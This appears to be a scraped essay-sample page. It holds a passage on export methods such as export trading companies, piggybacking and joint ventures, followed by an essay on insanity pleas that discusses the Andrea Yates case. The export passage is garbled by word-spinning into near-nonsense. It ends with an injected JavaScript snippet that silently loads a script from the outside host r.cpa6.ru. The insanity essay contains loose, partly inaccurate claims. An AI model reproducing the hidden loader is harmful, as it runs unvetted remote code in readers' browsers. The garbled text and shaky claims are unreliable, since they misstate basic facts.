merchandises of merely one fabrication. / gt ; Besides, EMC? s accept foreign recognition duty. There are besides some disadvantages to utilizing an EMC: -Some EMC? s handled excessively many lines to give the proper attending to a new exporter. -Many be given to be market specializer instead than merchandise specializer, therefore merchandise expertness is weak. -Some EMC? s coverage is merely regional instead than planetary. Export trading companies ( ETC ) A ETC acts as the export arm of a figure of industries. ETC? s allow U.S. companies or Bankss to organize a trading company with the size, resources, edification, and international web comparable to the Nipponese companies. Unfortunately U.S ETC? s have non truly worked out. Most of them are little or they have failed. Piggyback Exporting One industry uses it abroad distribution to sell other companies? merchandise with their ain. One party is called the bearer ; the bearer is the house that does the exportation. With the export of the new non-competitive merchandise may assist ease the cost of exporting. Piggybacking can be attractive because a company can make full up its exporting capacity or make full out their merchandise line. Besides, piggybacking can assist in a lost cost manner for the bearer to export and salvage on investing in R A ; D, production installations, and market proving for a new merchandise. There are besides some negatives, quality control and guarantee. The rider may non keep the quality of the merchandises sold by the other company. Concerns of supply, a bearer can develop a big market abroad, the rider house may prefer its ain selling demands it tight demand conditions. The party called the rider has a great advantage. By utilizing another company a company can acquire its merchandise to fo reign markets. This offers the riders and established export and distribution installations and shared disbursals, and benefits near to an EMC and a ETC. Direct Exporting The difference between direct exportation and indirect exportation is that the undertaking of market contact, market research, physical distribution, export certification, pricing, is bestowed on the company. Contract Manufacturing Another manufacturer under contract produces a house? s merchandise in a foreign market with the house. This is executable when a house can turn up a foreign manufacturers with the ability to fabricate the merchandise in satisfactory quality and quality. The advantages are the company can cut down the hazard of failure in a foreign market by merely ending the contract. Other salvaging include transit. The drawback is to this is that the fabrication net income goes to the local house instead than to the international house. Besides, happening a suited maker may be hard. Joint Ventures in Foreign Markets This is when a foreign company in which the international company acquire together to bring forth merchandises in the foreign company ( eg. Ford and Mazda truck production installation in Ohio ) ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Pleading guilty “by reason of insanity” an Example of the Topic Government and Law Essays by

Pleading guilty â€Å"by reason of insanity† In a criminal trial, pleading guilty "by reason of insanity" is one possible defense by which the egregiousness of the criminal actions having been committed may indeed become mitigated, indeed, sometimes, even exonerated completely when time comes for sentencing. "Not Guilty by Reason of Insanity" (NGRI) is a defense whereby the accused argue that they are not culpable for breaking the law, as they were mentally ill or suffered from some other aberrant diminished mental capacity at the time of the crime's commission. Common examples of what could plausibly produce diminished mental capacity within persons would include, but by no means be limited to, psychotic breaks, mental breakdowns (nervous collapse), scizophrenic psychosis, suicidal ideation, and post partum depression. Defendants may prefer to use this special defense of diminished responsibility or diminished capacity because if successful, they will not be labelled as insane. For diminished responsibiliy, sentences can range from an absolute discharge to life imprisonment. Need essay sample on "Pleading guilty by reason of insanity" topic? We will write a custom essay sample specifically for you Proceed The next type of plea involving mental status is where the defendant claims to be guilty but mentally ill-(GMI). Only persons who waive the right to a jury trial may plead guilty but mentally ill. After that, the burden of determining the guilt, innocence, and/or culpability of the defendant falls solely on the shoulders of the judge sitting on the bench. The trial judge must first examine all reports prepared pursuant to the Rules of Criminal Procedure, hold a hearing on the sole issue of the defendant's mental status at which either party may present evidence and is satisfied that the defendant was mentally ill at the time of the plea is entered-all of this, before he may accept a plea of Guilty but Mentally Ill. If the trial judge refuses to accept a plea of guilty but mentally ill, the defendant will be able to withdraw his plea and will usually end up with a jury trial, unless he waives his right to that jury trial. If this does occur, the defendant will get a bench trial, and i t would be considered a conflict of interest for the person who sat in judgment on the defendant's mental health trial to also preside at the new bench trial, so this may not be done. A different judge would be assigned to hand down a verdict of guilt or innocence. Perhaps the plea we will find most compelling is known as "legal insanity" To outline legal insanity, it should be said that at the time of the commission of the criminal act, the defendant was laboring under an extremely profound, pronounced defect of reason so as to create a veritable state of true, scientific disease of the mind. Let us examine a case in which the defendant was very clearly legally insane. Although many people would attack this plea as a mere means of avoiding the death penalty for herself, we will demonstrate facts and circumstances that will lend to a very powerful argument to convince even the most ardent skeptics that Andrea Yates truly was and is legally insane. Things started out fairly normally for Yates, she was born to parents Jutta and Andrew Emmett Kennedy. Yates was not socially withdrawn in the least-as a matter of fact, she graduated as the valedictorian of her class. She later married Rusty Yates on April 17, 1993, and the couple moved to Clear Lake, Houston. It was shortly after this move to Clear Lake that the factors that would eventually emerge as the primary source of Yates' psychopathology became present. Andrea's husband introduced his wife to a fundamentalist preacher with whom he had become acquainted before they married. This preacher promoted a doctrine that his followers should have 'as many children as nature allows', which the Yates both announced at their wedding they were going to pursue. After Andrea Yates drowned her five children in a bathtub, investigative reporter Suzy Spencer discovered letters written to Andrea by the Woroniecki family that berated her for her 'unrighteous standing before God'. A newsletter c alled Perilous Times, authored by the Woronieckis in 1999, was introduced into evidence at her trials to help establish the central motivating content behind her psychotic delusions. Despite the horror of her actions, one cannot help to feel a modicum of compassion evoked for the lonely Yates who viewed herself and her children, believed them both to be destined for eternal perdition, and was having these beliefs reinforced through a hate-mongering and misguided preacher who was supposed to be representing God. At the retrial, further evidence was presented in which the preacher, named Woronieckis, in 1996, had sent directly to the Yates family a video in which he directed condemnatory comments about their Christian lifestyle. He called them "hypocritical" I guess we could benefit from a moment of reflection here to consider the kind of damage such a man does to the Church and the name of God in today's world. For an unstable mind, a mind suffering from several overwhelming psychiatric conditions such as post-partum depression, depression, anxiety, and schizophrenia ( a disease originally named from the Greek for "shattered mind")-any one of which could have driven any one of us right over the edge-such statements and writings must have been crazy-making. Dr. Melissa Ferguson, a psychiatrist at the Harris County jail, was one of the first people to begin treating Yates. Describing fragments of their initial six-day interview process, Dr. Ferguson said Yates told her "I am Satan" and exhibited paranoia and delusions. Yates told her she felt her children were "tainted and doomed" to suffer in the fires of hell because their mother was evil. Dr. Ferguson later described Yates as "one of the sickest patients she had ever seen". Yates is now currently taking a potent psychiatric cocktail of medications, including Haldol (an anti-psychotic); Cogentin (counters the sedative effects of Haldol); and the anti-depressant medications Effexor and Wellbutrin. The defense argued compellingly that the psychopathic mother felt pressured to find an alternative way to save her children. The 'hypocritical' Christian life she felt accused of living would ensure her children's fate in hell. Woroniecki stated that parents must preach full time on the street s in order to demonstrate a righteous lifestyle to their children, thus properly training them so they could be 'saved' Yates told her jail psychiatrist, '(The children) were doomed to perish in the fires of hell. Andrea Yates had been treated for postpartum depression and psychosis since the summer of 1999. Her first psychiatrist, Dr. Eileen Starbranch, testified that she urged the couple not to have more children, as after witnessing the first bout with postpartum depression, further children would 'guarantee future psychotic depression'. When Andrea's problems resurfaced three months after the birth of her fifth child (and were further exacerbated by the death of her father), she came under the care of Dr. Mohammed Saeed. Following the first trial, Andrea's family wanted Saeed charged with criminal negligence, stating that he had had improperly dosed Andrea's medication, which resulted in the killings. Reference Shane Stevens 'By reason of insanity' Chicago : Chicago Review Press, 2007. Randy Singer 'By reason of insanity' Carol Stream, Ill. : Tyndale House Publishers, 2008.